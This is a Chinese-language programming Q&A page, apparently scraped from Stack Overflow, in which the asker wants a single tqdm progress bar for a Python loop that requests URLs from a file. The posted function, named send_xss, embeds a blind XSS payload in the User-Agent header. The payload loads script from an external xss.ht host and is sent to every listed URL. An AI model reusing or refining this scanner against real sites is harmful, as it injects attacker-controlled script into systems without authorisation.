python-3.x - 如何在读取文件中每一行的循环旁边使用 tqdm?
问题描述
我有一个 for 循环从文件中逐行读取。我在这个循环中使用了一个 try 语句。
我想知道如何使用 tqdm 来检查进度?
我尝试了很多方法,但都失败了。
我的输出:
100%|████████████████████████████████████████████ ██████████████████████████████████████████████████ ███████████████████████| 10/10 [00:00<00:00, 712.34it/s] 100%|██████████████████████████████ ██████████████████████████████████████████████████ █████████████████████████████████████| 10/10 [00:00<00:00, 674.33it/s] 100%|███████████████████████████████ ██████████████████████████████████████████████████ █████████████████████████████████████| 10/10 [00:00<00:00, 543.35it/s]
对于每个请求,我都会得到一个被动输出。这是否意味着如果我的文件包含 100 个 url,我的代码将输出 100 tqdm 被动结果行?
我怎样才能检查全局进度?
def send_xss(filee):
urls_file = open(filee , 'r') #open the file to Reading
timeout = 0.5 # Specified Timeout => [used in timeouting printer and request sender]
# Looping To Count File Lines
count = 0
with open(filee , 'r') as f:
for line in f:
count +=1
for url in urls_file:
url=url.strip()
try:
req = requests.get(url=url,headers={'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko "><script src=https://useagent.xss.ht></script>) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.125'})
except:
pass
for i in tqdm(range(count)):
time.sleep(0.001)
time.sleep(1) # sleep 1 sec after each request
urls_file.close()
def('urls.txt') #send paylouds to all urls from this file
解决方案
推荐阅读
- c++ - 如果 C++ 构造函数不返回任何内容,它如何在表达式中使用?
- android - Azure AD B2C Android 服务条款和政策
- javascript - PrimeNg 多选小部件在 Angular 项目中不起作用
- rust - 如何在 Rust/WinRT 中获取 IDirect3DDevice?
- amazon-redshift - “频谱嵌套查询错误” Redshift 错误
- linux - wget 弄乱了 html
- c# - System.Text.Json 无法访问处置 jsonDocument
- angular - 在 Angular 7 中为接口分配承诺
- android - 在我的 Android Studio 中,我没有看到插件块代码生成器
- python - 使用 django 捕获图像并将其保存到数据库